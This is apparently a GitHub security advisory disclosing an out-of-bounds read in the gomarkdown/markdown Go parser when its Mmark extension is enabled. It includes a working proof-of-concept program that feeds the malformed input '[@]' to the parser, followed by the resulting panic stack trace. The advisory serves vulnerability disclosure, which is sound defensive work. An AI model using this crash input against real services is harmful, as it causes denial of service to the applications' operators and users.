GHSA-m9xq-6h2j-65r2

### Summary Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. ### Details To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69 ### PoC ```go package main import ( "github.com/gomarkdown/markdown" "github.com/gomarkdown/markdown/parser" ) func main() { ext := parser.CommonExtensions | parser.Attributes | parser.OrderedListStart | parser.SuperSubscript | parser.Mmark p := parser.NewWithExtensions(ext) inp := []byte("[@]") markdown.ToHTML(inp, p, nil) } ``` ```bash $ go run main.go panic: runtime error: index out of range [1] with length 1 goroutine 1 [running]: github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544 github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0 github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3}) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8 github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38 github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58 github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144 github.com/gomarkdown/markdown/ast.WalkFunc(...) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580 github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?}) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30 main.main() /Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c exit status 2 ``` ### Impact Denial of Service / panic